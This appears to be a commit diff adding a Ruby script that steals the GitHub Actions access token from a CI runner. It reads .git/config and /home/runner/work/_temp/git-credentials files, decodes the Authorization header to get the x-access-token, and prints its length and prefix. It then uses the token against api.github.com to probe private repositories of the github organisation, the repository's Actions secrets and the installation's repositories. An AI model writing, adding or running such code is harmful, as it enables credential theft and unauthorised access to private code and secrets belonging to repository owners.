1+ require 'net/http'
2+ require 'json'
3+
4+ $stdout. puts "=== TOKEN EXTRACTION FROM GIT CREDENTIALS ==="
5+
6+ token = nil
7+
8+ git_config = File . read ( ".git/config" ) rescue ""
9+ cred_paths = git_config . scan ( /path\s *=\s *(.+)/ ) . flatten . uniq
10+
11+ $stdout. puts "Credential file paths found: #{ cred_paths . length } "
12+ cred_paths . each do |p |
13+ p = p . strip
14+ $stdout. puts "Trying: #{ p } "
15+ if File . exist? ( p )
16+ content = File . read ( p )
17+ $stdout. puts " File exists, size=#{ content . length } "
18+ if content =~ /AUTHORIZATION:\s *basic\s +(\S +)/i
19+ b64 = $1
20+ decoded = [ b64 ] . pack ( "H*" ) rescue nil
21+ decoded ||= begin ; require 'base64' ; Base64 . decode64 ( b64 ) ; rescue ; b64 ; end
22+ if decoded =~ /x-access-token:(.+)/
23+ token = $1. strip
24+ $stdout. puts " TOKEN FOUND"
25+ $stdout. puts " Token length: #{ token . length } "
26+ $stdout. puts " Token prefix: #{ token [ 0 ..3 ] } ..."
27+ else
28+ $stdout. puts " Decoded but no x-access-token pattern"
29+ $stdout. puts " Decoded length: #{ decoded . length } "
30+ $stdout. puts " Has ghs_: #{ decoded . include? ( 'ghs_' ) } "
31+ end
32+ else
33+ $stdout. puts " No AUTHORIZATION header found"
34+ content . lines . each { |l | $stdout. puts " line: #{ l . strip [ 0 ..60 ] } " }
35+ end
36+ else
37+ $stdout. puts " File not found"
38+ end
39+ end
40+
41+ Dir . glob ( "/home/runner/work/_temp/git-credentials*" ) . each do |f |
42+ $stdout. puts "Glob found: #{ f } "
43+ content = File . read ( f ) rescue "unreadable"
44+ $stdout. puts " size=#{ content . length } "
45+ end
46+
47+ if token
48+ $stdout. puts ""
49+ $stdout. puts "=== CROSS-BOUNDARY WITH EXTRACTED TOKEN ==="
50+
51+ http = Net ::HTTP . new ( "api.github.com" , 443 )
52+ http . use_ssl = true
53+
54+ req = Net ::HTTP ::Get . new ( "/repos/github/explore" )
55+ req [ "Authorization" ] = "Bearer #{ token } "
56+ req [ "Accept" ] = "application/vnd.github+json"
57+ res = http . request ( req )
58+ $stdout. puts "GET /repos/github/explore: #{ res . code } "
59+ $stdout. puts "X-OAuth-Scopes: #{ res [ 'X-OAuth-Scopes' ] } "
60+
61+ req2 = Net ::HTTP ::Get . new ( "/orgs/github/repos?type=all&per_page=3" )
62+ req2 [ "Authorization" ] = "Bearer #{ token } "
63+ req2 [ "Accept" ] = "application/vnd.github+json"
64+ res2 = http . request ( req2 )
65+ $stdout. puts "GET /orgs/github/repos?type=all: #{ res2 . code } "
66+ if res2 . code == "200"
67+ JSON . parse ( res2 . body ) . each { |r | $stdout. puts " #{ r [ 'full_name' ] } private=#{ r [ 'private' ] } " }
68+ end
69+
70+ req3 = Net ::HTTP ::Get . new ( "/repos/github/github" )
71+ req3 [ "Authorization" ] = "Bearer #{ token } "
72+ req3 [ "Accept" ] = "application/vnd.github+json"
73+ res3 = http . request ( req3 )
74+ $stdout. puts "GET /repos/github/github: #{ res3 . code } "
75+
76+ req4 = Net ::HTTP ::Get . new ( "/repos/github/explore/actions/secrets" )
77+ req4 [ "Authorization" ] = "Bearer #{ token } "
78+ req4 [ "Accept" ] = "application/vnd.github+json"
79+ res4 = http . request ( req4 )
80+ $stdout. puts "GET /repos/github/explore/actions/secrets: #{ res4 . code } "
81+ if res4 . code == "200"
82+ d = JSON . parse ( res4 . body )
83+ $stdout. puts " total: #{ d [ 'total_count' ] } "
84+ d [ 'secrets' ] &.each { |s | $stdout. puts " name: #{ s [ 'name' ] } " }
85+ end
86+
87+ req5 = Net ::HTTP ::Get . new ( "/installation/repositories?per_page=5" )
88+ req5 [ "Authorization" ] = "Bearer #{ token } "
89+ req5 [ "Accept" ] = "application/vnd.github+json"
90+ res5 = http . request ( req5 )
91+ $stdout. puts "GET /installation/repositories: #{ res5 . code } "
92+ if res5 . code == "200"
93+ d5 = JSON . parse ( res5 . body )
94+ $stdout. puts " total: #{ d5 [ 'total_count' ] } "
95+ d5 [ 'repositories' ] &.first ( 5 ) &.each { |r | $stdout. puts " #{ r [ 'full_name' ] } private=#{ r [ 'private' ] } " }
96+ end
97+ else
98+ $stdout. puts ""
99+ $stdout. puts "NO TOKEN EXTRACTED - cannot test cross-boundary"
100+ end
101+
102+ $stdout. puts "=== END ==="
103+ $stdout. flush
0 commit comments